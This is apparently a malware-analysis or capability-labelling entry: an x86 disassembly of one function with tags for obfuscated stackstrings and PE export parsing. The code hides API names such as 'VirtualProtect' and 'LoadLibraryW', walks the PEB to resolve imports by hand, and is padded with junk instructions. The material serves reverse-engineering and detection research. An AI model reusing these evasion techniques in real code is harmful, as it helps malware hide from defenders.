Function at 0x421ef3
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [ebp - 0x16c]
mov cx, word [eax]
mov word [ebp - 0x1c4], cx
mov edx, dword [ebp - 0x16c]
add edx, 2
mov dword [ebp - 0x16c], edx
mov ax, word [ebp - 0x1c4]
mov word [ebp - 0x14], ax
push edi
add edi, 0x164d0
sub edi, 0x7be4
pop edi
push ecx
push edx
add esp, 4
or ecx, 0x208a
call 0x420e15
add byte [edi + 0x42], cl
cmp al, byte [esi + 0x4f]
xor al, 0x3e
aaa
inc ebp
add esp, 4
add ecx, 0x14f57
pop ecx
movzx ecx, word [ebp - 0x14]
test ecx, ecx
jne 0x420e39
movzx edx, word [ebp - 0x30]
movzx eax, word [ebp - 0x14]
sub edx, eax
mov dword [ebp - 0x1d8], edx
jmp 0x420e77
movzx ecx, word [ebp - 0x30]
movzx edx, word [ebp - 0x14]
cmp ecx, edx
je 0x420d67
movzx eax, word [ebp - 0x30]
movzx ecx, word [ebp - 0x14]
cmp eax, ecx
jge 0x420e61
mov dword [ebp - 0x1d4], 0xffffffff
jmp 0x420e6b
mov dword [ebp - 0x1d4], 1
mov edx, dword [ebp - 0x1d4]
mov dword [ebp - 0x1d8], edx
cmp dword [ebp - 0x1d8], 0
jne 0x420ebd
push eax
call 0x420e8e
add byte [edx], dh
dec eax
dec ebp
cmp ecx, dword [edx + 0x47]
xor al, 0x83
les eax, [ecx + eax*4]
call fcn.00427de3
pop eax
push eax
push edx
add esp, 4
add eax, 0xcab7
sub eax, 0xbfa6
jmp 0x420eb1
pop eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x44], eax
jmp 0x420f22
push edi
push edi
add esp, 4
and edi, 0x182f5
sub edi, 0x15b62
or edi, 0xcee4
pop edi
push edx
or edx, 0x139e9
sub edx, 0x122f4
and edx, 0x14ee7
sub edx, 0xd4ca
pop edx
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x170]
je 0x420f1b
mov ecx, dword [ebp - 0x84]
cmp dword [ecx + 0x30], 0
jne 0x420d0e
mov dword [ebp - 0x44], 0
push ebx
sub ebx, 0x28b4
add ebx, 0x618e
or ebx, 0x82f
pop ebx
push ebx
jmp 0x420f3f
jmp 0x420f46
jmp 0x420f4d
and ebx, 0x257a
pop ebx
cmp dword [ebp - 0x44], 0
jne 0x42176e
mov edx, 0x6b
mov word [ebp - 0x2b4], dx
mov eax, 0x65
mov word [ebp - 0x2b2], ax
mov ecx, 0x72
mov word [ebp - 0x2b0], cx
mov edx, 0x6e
mov word [ebp - 0x2ae], dx
mov eax, 0x65
mov word [ebp - 0x2ac], ax
mov ecx, 0x6c
mov word [ebp - 0x2aa], cx
mov edx, 0x33
mov word [ebp - 0x2a8], dx
mov eax, 0x32
mov word [ebp - 0x2a6], ax
mov ecx, 0x2e
mov word [ebp - 0x2a4], cx
mov edx, 0x64
mov word [ebp - 0x2a2], dx
mov eax, 0x6c
mov word [ebp - 0x2a0], ax
mov ecx, 0x6c
mov word [ebp - 0x29e], cx
xor edx, edx
mov word [ebp - 0x29c], dx
push esi
push eax
add esp, 4
sub esi, 0x119b8
xor esi, 0x88ca
jmp 0x421010
sub esi, 0xf90f
pop esi
push ebx
push ebx
add esp, 4
sub ebx, 0x102d9
xor ebx, 0x845c
pop ebx
mov byte [ebp - 0x100], 0x4c
mov byte [ebp - 0xff], 0x6f
mov byte [ebp - 0xfe], 0x61
mov byte [ebp - 0xfd], 0x64
mov byte [ebp - 0xfc], 0x4c
mov byte [ebp - 0xfb], 0x69
mov byte [ebp - 0xfa], 0x62
mov byte [ebp - 0xf9], 0x72
mov byte [ebp - 0xf8], 0x61
mov byte [ebp - 0xf7], 0x72
mov byte [ebp - 0xf6], 0x79
mov byte [ebp - 0xf5], 0x57
mov byte [ebp - 0xf4], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x338], eax
mov ecx, dword [ebp - 0x338]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x33c], edx
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x1dc], eax
push edi
xor edi, 0xcb7
pop edi
push edi
push esi
add esp, 4
and edi, 0x7782
jmp 0x4210c4
pop edi
push edi
push ebx
add esp, 4
and edi, 0x13421
or edi, 0x6165
xor edi, 0xe006
pop edi
cmp dword [ebp - 0x1dc], 0
jne 0x4210f5
mov dword [ebp - 0xc8], 0
jmp 0x421377
mov ecx, dword [ebp - 0x1dc]
mov edx, dword [ecx + 0xc]
push ecx
or al, 0x8b
inc edx
or al, 0x89
test dword [esi + edi*8 + 0x5752ffff], eax
add esp, 4
call 0x42111b
add byte [edi + 0x4b], al
inc edi
inc esi
dec esi
aaa
cmp al, 0x3c
cmp al, byte [ebx - 0x157efb3c]
bound ebp, qword [eax]
add dword [eax], eax
and edx, 0x4221
pop edx
push ecx
xor ecx, 0x10b7
and ecx, 0x150c3
pop ecx
cmp dword [ebp - 0x17c], 0
jne 0x421151
mov dword [ebp - 0xc8], 0
jmp 0x421377
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0x88], ecx
push ebx
xor ebx, 0x49d2
pop ebx
push ebx
push ecx
add esp, 4
add ebx, 0xb788
and ebx, 0x2762
add ebx, 0x15303
or ebx, 0x7622
pop ebx
push esi
push eax
add esp, 4
add esi, 0x15377
pop esi
lea edx, [ebp - 0x2b4]
mov dword [ebp - 0x178], edx
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x174], ecx
xor edx, edx
mov word [ebp - 0x2c], dx
xor eax, eax
mov word [ebp - 0x18], ax
push eax
call 0x4211c3
add byte [edi + 0x3c], cl
push eax
dec edx
inc ebx
aaa
add esp, 4
pop eax
push ebx
call 0x4211d8
add byte [edi], dh
dec ebx
aas
dec eax
push eax
xor cl, byte [ecx + 0x40]
dec ebp
add esp, 4
sub ebx, 0x1e5b
sub ebx, 0xf8d5
pop ebx
mov ecx, dword [ebp - 0x174]
mov dx, word [ecx]
mov word [ebp - 0x1c6], dx
mov eax, dword [ebp - 0x174]
add eax, 2
mov dword [ebp - 0x174], eax
mov cx, word [ebp - 0x1c6]
mov word [ebp - 0x2c], cx
mov edx, dword [ebp - 0x178]
mov ax, word [edx]
mov word [ebp - 0x1c8], ax
mov ecx, dword [ebp - 0x178]
add ecx, 2
mov dword [ebp - 0x178], ecx
mov dx, word [ebp - 0x1c8]
mov word [ebp - 0x18], dx
push eax
push esi
add esp, 4
add eax, 0x114a1
xor eax, 0x8b28
pop eax
push edi
push esi
add esp, 4
or edi, 0x9ca6
xor edi, 0x45ae
pop edi
push esi
and esi, 0x184b6
and esi, 0x14d2d
pop esi
movzx eax, word [ebp - 0x18]
test eax, eax
jne 0x421288
movzx ecx, word [ebp - 0x2c]
movzx edx, word [ebp - 0x18]
sub ecx, edx
mov dword [ebp - 0x1e4], ecx
jmp 0x4212c6
movzx eax, word [ebp - 0x2c]
movzx ecx, word [ebp - 0x18]
cmp eax, ecx
je 0x4211b6
movzx edx, word [ebp - 0x2c]
movzx eax, word [ebp - 0x18]
cmp edx, eax
jge 0x4212b0
mov dword [ebp - 0x1e0], 0xffffffff
jmp 0x4212ba
mov dword [ebp - 0x1e0], 1
mov ecx, dword [ebp - 0x1e0]
mov dword [ebp - 0x1e4], ecx
cmp dword [ebp - 0x1e4], 0
jne 0x42130f
push edx
push esi
add esp, 4
add edx, 0xe7a9
and edx, 0x1697e
or edx, 0x11ae9
pop edx
push esi
or esi, 0xf0ed
sub esi, 0x6dc6
add esi, 0xe67e
sub esi, 0xa2eb
pop esi
mov edx, dword [ebp - 0x88]
mov dword [ebp - 0xc8], edx
jmp 0x421377
push edi
push esi
add esp, 4
or edi, 0xbd5e
jmp 0x421322
call 0x42132f
add byte [ebx + 0x3f], cl
dec edx
inc ebx
aas
dec ecx
cmp al, byte [ebx - 0x187efb3c]
popfd
inc edi
add dword [eax], eax
pop edi
push esi
xor esi, 0x8dfb
pop esi
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
mov dword [ebp - 0x88], ecx
mov edx, dword [ebp - 0x88]
cmp edx, dword [ebp - 0x17c]
je 0x42136d
mov eax, dword [ebp - 0x88]
cmp dword [eax + 0x30], 0
jne 0x42115d
mov dword [ebp - 0xc8], 0
cmp dword [ebp - 0xc8], 0
jne 0x4213c1
push esi
push eax
add esp, 4
sub esi, 0xe0f1
sub esi, 0x6677
sub esi, 0x7216
call 0x4213a6
add byte [ebx + 0x32], al
dec esp
cmp byte ss:[ecx + 0x4d], cl
cmp byte [edi], bh
add esp, 4
pop esi
push esi
xor esi, 0x288f
pop esi
mov dword [ebp - 0xb4], 0
jmp 0x421dad
push eax
and eax, 0x3d7a
add eax, 0x147a8
call 0x4213db
add byte [0x3344483d], bh
dec eax
cmp byte [ebx + 0x505804c4], al
and eax, 0x7f33
add eax, 0x1411b
or eax, 0xb1ab
pop eax
mov ecx, dword [ebp - 0xc8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x50], edx
mov dword [ebp - 0xd8], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0
jne 0x421429
mov ecx, dword [ebp - 0xd8]
mov dword [ebp - 0x60], ecx
jmp 0x4216cb
mov edx, dword [ebp - 0x1e8]
mov eax, dword [ebp - 0x50]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1ec], eax
jne 0x42144b
mov ecx, dword [ebp - 0xd8]
mov dword [ebp - 0x60], ecx
jmp 0x4216cb
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1ec]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1f0], edx
cmp dword [ebp - 0x1f0], 0
jne 0x42147a
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x60], eax
jmp 0x4216cb
mov ecx, dword [ebp - 0x50]
add ecx, dword [ebp - 0x1f0]
mov dword [ebp - 0xcc], ecx
jne 0x421499
mov edx, dword [ebp - 0xd8]
mov dword [ebp - 0x60], edx
jmp 0x4216cb
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x50]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x300], ecx
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x50]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x340], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0x50]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x344], edx
mov dword [ebp - 0xd0], 0
jmp 0x4214ea
mov eax, dword [ebp - 0xd0]
add eax, 1
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xd0]
cmp edx, dword [ecx + 0x18]
jae 0x4216c2
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x50]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0xd4], edx
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x340]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x344]
mov ecx, dword [ebp - 0x50]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x348], ecx
mov dword [ebp - 4], 0
jmp 0x42154b
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xd4]
add eax, dword [ebp - 4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4215e7
mov edx, dword [ebp - 4]
movsx eax, byte [ebp + edx - 0x100]
test eax, eax
je 0x4215e7
push edx
sub edx, 0x14d06
sub edx, 0x15c8
pop edx
push ebx
push ecx
add esp, 4
or ebx, 0xb9b4
pop ebx
push edx
push edx
add esp, 4
add edx, 0xacf0
sub edx, 0x2b30
or edx, 0x10adb
pop edx
mov ecx, dword [ebp - 0xd4]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 4]
movsx ecx, byte [ebp + eax - 0x100]
cmp edx, ecx
je 0x4215d9
mov edx, dword [ebp - 0xd4]
add edx, dword [ebp - 4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 4]
movsx edx, byte [ebp + ecx - 0x100]
cmp eax, edx
jne 0x4215e0
jmp 0x421542
jmp 0x4215e7
push edx
push ebx
add esp, 4
xor edx, 0x17482
or edx, 0x40f7
pop edx
push ecx
sub ecx, 0xdf5a
sub ecx, 0xe2ba
and ecx, 0xfc9a
jmp 0x421611
pop ecx
push ebx
jmp 0x421618
pop ebx
mov eax, dword [ebp - 0xd4]
add eax, dword [ebp - 4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 4]
movsx eax, byte [ebp + edx - 0x100]
cmp ecx, eax
jne 0x421640
mov dword [ebp - 0x180], 0
jmp 0x4216a9
push edx
push ecx
add esp, 4
sub edx, 0x55da
pop edx
push esi
and esi, 0x8b10
pop esi
push eax
add eax, 0x11fd1
pop eax
push esi
or esi, 0x160ed
pop esi
push ebx
push edx
add esp, 4
jmp 0x421671
pop ebx
mov ecx, dword [ebp - 0xd4]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 4]
movsx ecx, byte [ebp + eax - 0x100]
or ecx, 0x20
cmp edx, ecx
jge 0x42169f
mov dword [ebp - 0x180], 0xffffffff
jmp 0x4216a9
mov dword [ebp - 0x180], 1
cmp dword [ebp - 0x180], 0
jne 0x4216bd
mov edx, dword [ebp - 0x348]
mov dword [ebp - 0x60], edx
jmp 0x4216cb
jmp 0x4214db
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
je 0x42176e
push edx
push eax
add esp, 4
add edx, 0x4434
sub edx, 0x166d5
add edx, 0x11832
add edx, 0x63c5
pop edx
push ecx
or ecx, 0x47b9
add ecx, 0x3e14
and ecx, 0x8701
pop ecx
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x34c], ecx
mov edx, dword [ebp - 0x34c]
mov dword [ebp - 0x2b8], edx
lea eax, [ebp - 0x27c]
push eax
call dword [ebp - 0x2b8]
test eax, eax
jne 0x42176e
push edi
push ecx
add esp, 4
xor edi, 0x13a26
call 0x421747
add byte [esi], dh
inc ebp
inc eax
cmp byte [edi + esi], bh
cmp byte [eax + 0x50], dl
add esp, 4
and edi, 0x3b6b
pop edi
push edi
and edi, 0x5a4f
sub edi, 0x4792
pop edi
mov dword [ebp - 0xb4], 0
jmp 0x421dad
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x2bc], ecx
mov edx, dword [ebp - 0x2bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x2c0], eax
mov ecx, dword [ebp - 0x2c0]
mov dword [ebp - 0x1f4], ecx
push eax
push ecx
add esp, 4
or eax, 0xef75
call 0x4217ad
add byte [eax + 0x49], cl
dec esp
inc esp
inc ebp
xor al, byte [ebx - 0x3f7efb3c]
cli
inc ecx
add dword [eax], eax
pop eax
push esi
call 0x4217c4
add byte [edi + 0x33], cl
inc edi
inc esp
dec esp
dec ebx
add esp, 4
pop esi
cmp dword [ebp - 0x1f4], 0
jne 0x4217dd
mov dword [ebp - 0x44], 0
jmp 0x421a56
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x18c], ecx
push edx
push esi
add esp, 4
add edx, 0x3da7
add edx, 0x1803c
add edx, 0x3372
call 0x421815
add byte [edx + 0x43], cl
cmp al, 0x3c
inc ecx
aaa
xor ecx, dword [edi + 0x4a]
add esp, 4
pop edx
push esi
sub esi, 0x15036
pop esi
cmp dword [ebp - 0x18c], 0
jne 0x421836
mov dword [ebp - 0x44], 0
jmp 0x421a56
mov edx, dword [ebp - 0x18c]
mov dword [ebp - 0x8c], edx
push ecx
sub ecx, 0x12e42
and ecx, 0x14619
or ecx, 0x6d84
pop ecx
push edi
push esi
add esp, 4
add edi, 0xaec9
or edi, 0xcdb9
or edi, 0x2626
sub edi, 0x1163b
pop edi
lea eax, [ebp - 0x27c]
mov dword [ebp - 0x188], eax
mov ecx, dword [ebp - 0x8c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x184], edx
xor eax, eax
mov word [ebp - 0x34], ax
xor ecx, ecx
mov word [ebp - 0x1c], cx
push edi
push edx
add esp, 4
or edi, 0x4cbc
sub edi, 0x10182
and edi, 0x361e
or edi, 0xadf9
pop edi
push ecx
and ecx, 0xb5d4
jmp 0x4218c6
sub ecx, 0xe98
pop ecx
mov edx, dword [ebp - 0x184]
mov ax, word [edx]
mov word [ebp - 0x1ca], ax
mov ecx, dword [ebp - 0x184]
add ecx, 2
mov dword [ebp - 0x184], ecx
mov dx, word [ebp - 0x1ca]
mov word [ebp - 0x34], dx
mov eax, dword [ebp - 0x188]
mov cx, word [eax]
mov word [ebp - 0x1cc], cx
mov edx, dword [ebp - 0x188]
add edx, 2
mov dword [ebp - 0x188], edx
mov ax, word [ebp - 0x1cc]
mov word [ebp - 0x1c], ax
push ecx
push ecx
add esp, 4
sub ecx, 0xf8be
xor ecx, 0x2bc3
jmp 0x421938
add ecx, 0x1387f
pop ecx
push ebx
sub ebx, 0x6348
xor ebx, 0x450b
and ebx, 0xb7f4
pop ebx
movzx ecx, word [ebp - 0x1c]
test ecx, ecx
jne 0x42196d
movzx edx, word [ebp - 0x34]
movzx eax, word [ebp - 0x1c]
sub edx, eax
mov dword [ebp - 0x1fc], edx
jmp 0x4219ab
movzx ecx, word [ebp - 0x34]
movzx edx, word [ebp - 0x1c]
cmp ecx, edx
je 0x42189b
movzx eax, word [ebp - 0x34]
movzx ecx, word [ebp - 0x1c]
cmp eax, ecx
jge 0x421995
mov dword [ebp - 0x1f8], 0xffffffff
jmp 0x42199f
mov dword [ebp - 0x1f8], 1
mov edx, dword [ebp - 0x1f8]
mov dword [ebp - 0x1fc], edx
cmp dword [ebp - 0x1fc], 0
jne 0x4219f1
push ecx
xor ecx, 0x133ae
sub ecx, 0x101a4
sub ecx, 0x16bf
or ecx, 0x11a1
pop ecx
push eax
sub eax, 0x1bc
pop eax
push ebx
and ebx, 0x19c3
pop ebx
push edx
xor edx, 0x13c13
pop edx
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x44], eax
jmp 0x421a56
push eax
sub eax, 0xfc09
xor eax, 0x932a
pop eax
push esi
push esi
add esp, 4
sub esi, 0x13ad2
xor esi, 0x10b22
add esi, 0x4d43
pop esi
push edx
push edi
add esp, 4
sub edx, 0x17585
pop edx
mov ecx, dword [ebp - 0x8c]
mov edx, dword [ecx]
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x18c]
je 0x421a4f
mov ecx, dword [ebp - 0x8c]
cmp dword [ecx + 0x30], 0
jne 0x421842
mov dword [ebp - 0x44], 0
push edi
jmp 0x421a5f
pop edi
push eax
xor eax, 0x78a0
pop eax
push eax
push ebx
add esp, 4
xor eax, 0xbf21
pop eax
push edi
add edi, 0x66f2
pop edi
push ebx
push edx
add esp, 4
jmp 0x421a87
pop ebx
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x54], eax
push eax
or eax, 0x3304
jmp 0x421a9d
pop eax
push esi
jmp 0x421aa6
or esi, 0x3f30
add esi, 0x183e6
call 0x421abf
add byte [ecx], bh
inc edi
dec eax
dec eax
xor eax, dword [edi + 0x50]
add esp, 4
pop esi
mov dword [ebp - 0xa4], 0
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x200], ecx
cmp dword [ebp - 0x200], 0
jne 0x421af0
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x90], edx
jmp 0x421da1
mov eax, dword [ebp - 0x200]
mov ecx, dword [ebp - 0x54]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x204], ecx
jne 0x421b15
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x90], edx
jmp 0x421da1
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x204]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0
jne 0x421b47
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x90], ecx
jmp 0x421da1
mov edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x208]
mov dword [ebp - 0xdc], edx
jne 0x421b69
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x90], eax
jmp 0x421da1
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x54]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x2c4], edx
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x54]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x54]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0xe0], 0
jmp 0x421bba
mov ecx, dword [ebp - 0xe0]
add ecx, 1
mov dword [ebp - 0xe0], ecx
mov edx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xe0]
cmp eax, dword [edx + 0x18]
jae 0x421d95
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0x2c4]
mov eax, dword [ebp - 0x54]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0x2c8]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x2cc]
mov edx, dword [ebp - 0x54]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x2d0], edx
mov dword [ebp - 8], 0
jmp 0x421c1b
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xe4]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx]
test edx, edx
je 0x421cb7
mov eax, dword [ebp - 8]
movsx ecx, byte [ebp + eax - 0xf0]
test ecx, ecx
je 0x421cb7
push ebx
sub ebx, 0xd87a
xor ebx, 0xc810
or ebx, 0x30f3
pop ebx
push edi
push ebx
add esp, 4
and edi, 0x61f0
pop edi
push edx
push ebx
add esp, 4
sub edx, 0x1536f
xor edx, 0xda23
pop edx
mov edx, dword [ebp - 0xe4]
add edx, dword [ebp - 8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 8]
movsx edx, byte [ebp + ecx - 0xf0]
cmp eax, edx
je 0x421ca9
mov eax, dword [ebp - 0xe4]
add eax, dword [ebp - 8]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 8]
movsx eax, byte [ebp + edx - 0xf0]
cmp ecx, eax
jne 0x421cb0
jmp 0x421c12
jmp 0x421cb7
push edi
add edi, 0xddeb
and edi, 0xad21
and edi, 0x9790
add edi, 0x33a5
pop edi
push eax
push ecx
add esp, 4
sub eax, 0xdd4
xor eax, 0xe9ba
jmp 0x421ce8
pop eax
mov ecx, dword [ebp - 0xe4]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 8]
movsx ecx, byte [ebp + eax - 0xf0]
cmp edx, ecx
jne 0x421d10
mov dword [ebp - 0x190], 0
jmp 0x421d79
push eax
add eax, 0xb6a6
add eax, 0x6f8
add eax, 0x102a
or eax, 0x43bb
pop eax
push eax
push eax
add esp, 4
add eax, 0x16349
add eax, 0x1307
add eax, 0xf07a
pop eax
mov edx, dword [ebp - 0xe4]
add edx, dword [ebp - 8]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 8]
movsx edx, byte [ebp + ecx - 0xf0]
or edx, 0x20
cmp eax, edx
jge 0x421d6f
mov dword [ebp - 0x190], 0xffffffff
jmp 0x421d79
mov dword [ebp - 0x190], 1
cmp dword [ebp - 0x190], 0
jne 0x421d90
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x90], eax
jmp 0x421da1
jmp 0x421bab
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x90]
mov dword [ebp - 0xb4], edx
push ebx
and ebx, 0x10c3e
xor ebx, 0xe5b9
sub ebx, 0x661e
pop ebx
push ebx
push esi
add esp, 4
and ebx, 0x9cbb
or ebx, 0xa7d2
pop ebx
push esi
push ecx
add esp, 4
add esi, 0x13c0
pop esi
mov eax, dword [ebp - 0x68]
add eax, 0xe
mov dword [ebp - 0x320], eax
push ecx
push ecx
add esp, 4
add ecx, 0x12c1f
call 0x421e06
add byte [edx + 0x44], al
dec edi
inc esi
cmp esi, dword [edi]
inc ebx
inc ebp
inc edi
add esp, 4
call 0x421e19
add byte [0x484e3d48], bh
cmp bh, byte [edi]
push eax
inc edi
inc edx
add esp, 4
pop ecx
cmp dword [ebp - 0x68], 0
je 0x421e2c
cmp dword [ebp - 0x134], 0
jne 0x421e72
push ebx
push esi
add esp, 4
jmp 0x421e37
or ebx, 0x1791b
xor ebx, 0xb481
or ebx, 0x17edd
pop ebx
push eax
or eax, 0xdd60
add eax, 0xd5ee
sub eax, 0x8ff
pop eax
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x2d4], ecx
push 0
call dword [ebp - 0x2d4]
mov dword [ebp - 0x350], 0xa
push ecx
xor ecx, 0x16382
pop ecx
push ecx
push edx
add esp, 4
sub ecx, 0x9020
sub ecx, 0x5b64
sub ecx, 0x2a52
add ecx, 0x1174d
pop ecx
push ecx
push ebx
add esp, 4
jmp 0x421ead
pop ecx
mov edx, dword [ebp - 0x68]
mov al, byte [edx + 0xa]
mov byte [ebp - 0x59], al
mov ecx, dword [ebp - 0x134]
sub ecx, dword [ebp - 0x68]
mov dword [ebp - 0x248], ecx
mov dword [ebp - 0x1c0], 0
push esi
push edx
add esp, 4
call 0x421ee2
add byte [ebx + 0x4e], cl
cmp edi, dword [esi]
inc edx
inc ebp
xor al, 0x83
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [ecx + 0x37], al
dec ebp
dec esp
dec ecx
xor al, 0x3d
add esp, 4
jmp 0x421efb
and esi, 0x106e5
pop esi
mov byte [ebp - 0x120], 0x56
mov byte [ebp - 0x11f], 0x69
mov byte [ebp - 0x11e], 0x72
mov byte [ebp - 0x11d], 0x74
mov byte [ebp - 0x11c], 0x75
mov byte [ebp - 0x11b], 0x61
mov byte [ebp - 0x11a], 0x6c
mov byte [ebp - 0x119], 0x50
mov byte [ebp - 0x118], 0x72
mov byte [ebp - 0x117], 0x6f
mov byte [ebp - 0x116], 0x74
mov byte [ebp - 0x115], 0x65
mov byte [ebp - 0x114], 0x63
mov byte [ebp - 0x113], 0x74
mov byte [ebp - 0x112], 0
push ecx
add ecx, 0xc6b
and ecx, 0xdb67
pop ecx
push edx
sub edx, 0xd8
jmp 0x421f85
pop edx
push edi
sub edi, 0xda72
jmp 0x421f96
xor edi, 0xec41
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x2d8], edx
mov eax, dword [ebp - 0x2d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x2dc], ecx
mov edx, dword [ebp - 0x2dc]
mov dword [ebp - 0x20c], edx
push esi
push esi
add esp, 4
xor esi, 0xc426
pop esi
push eax
push eax
add esp, 4
or eax, 0x17f7f
sub eax, 0x697a
xor eax, 0x15b6d
pop eax
push esi
and esi, 0x119de
xor esi, 0x7d66
pop esi
cmp dword [ebp - 0x20c], 0
jne 0x42200c
mov dword [ebp - 0x48], 0
jmp 0x422270
mov eax, dword [ebp - 0x20c]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x19c], edx
push ecx
add ecx, 0x3ab4
or ecx, 0x7a89
pop ecx
push edx
push edi
add esp, 4
jmp 0x42203a
jmp 0x422043
and edx, 0x48bb
or edx, 0x3df7
pop edx
cmp dword [ebp - 0x19c], 0
jne 0x422065
mov dword [ebp - 0x48], 0
jmp 0x422270
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x70], eax
push edx
push edi
add esp, 4
xor edx, 0x162dd
pop edx
push edi
sub edi, 0x15d9c
add edi, 0x16ff0
add edi, 0x11055
pop edi
push ecx
push edx
add esp, 4
add ecx, 0xafe9
xor ecx, 0x5a53
pop ecx
lea ecx, [ebp - 0x27c]
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x70]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x194], eax
xor ecx, ecx
mov word [ebp - 0x38], cx
xor edx, edx
mov word [ebp - 0x20], dx
push ebx
push eax
add esp, 4
and ebx, 0xa22f
or ebx, 0x12547
add ebx, 0xd345
pop ebx
push eax
push eax
add esp, 4
add eax, 0x15d8d
and eax, 0x17b53
pop eax
push esi
or esi, 0x1b19
pop esi
mov eax, dword [ebp - 0x194]
mov cx, word [eax]
mov word [ebp - 0x14a], cx
mov edx, dword [ebp - 0x194]
add edx, 2
mov dword [ebp - 0x194], edx
mov ax, word [ebp - 0x14a]
mov word [ebp - 0x38], ax
mov ecx, dword [ebp - 0x198]
mov dx, word [ecx]
mov word [ebp - 0x14c], dx
mov eax, dword [ebp - 0x198]
add eax, 2
mov dword [ebp - 0x198], eax
mov cx, word [ebp - 0x14c]
mov word [ebp - 0x20], cx
push ebx
push esi
add esp, 4
and ebx, 0xa3c
sub ebx, 0x141ee
pop ebx
push edx
call 0x42216c
add byte [edx], bh
cmp dword [0x4643413b], esi
inc esi
dec ebx
add esp, 4
add edx, 0x7168
and edx, 0x18420
pop edx
movzx edx, word [ebp - 0x20]
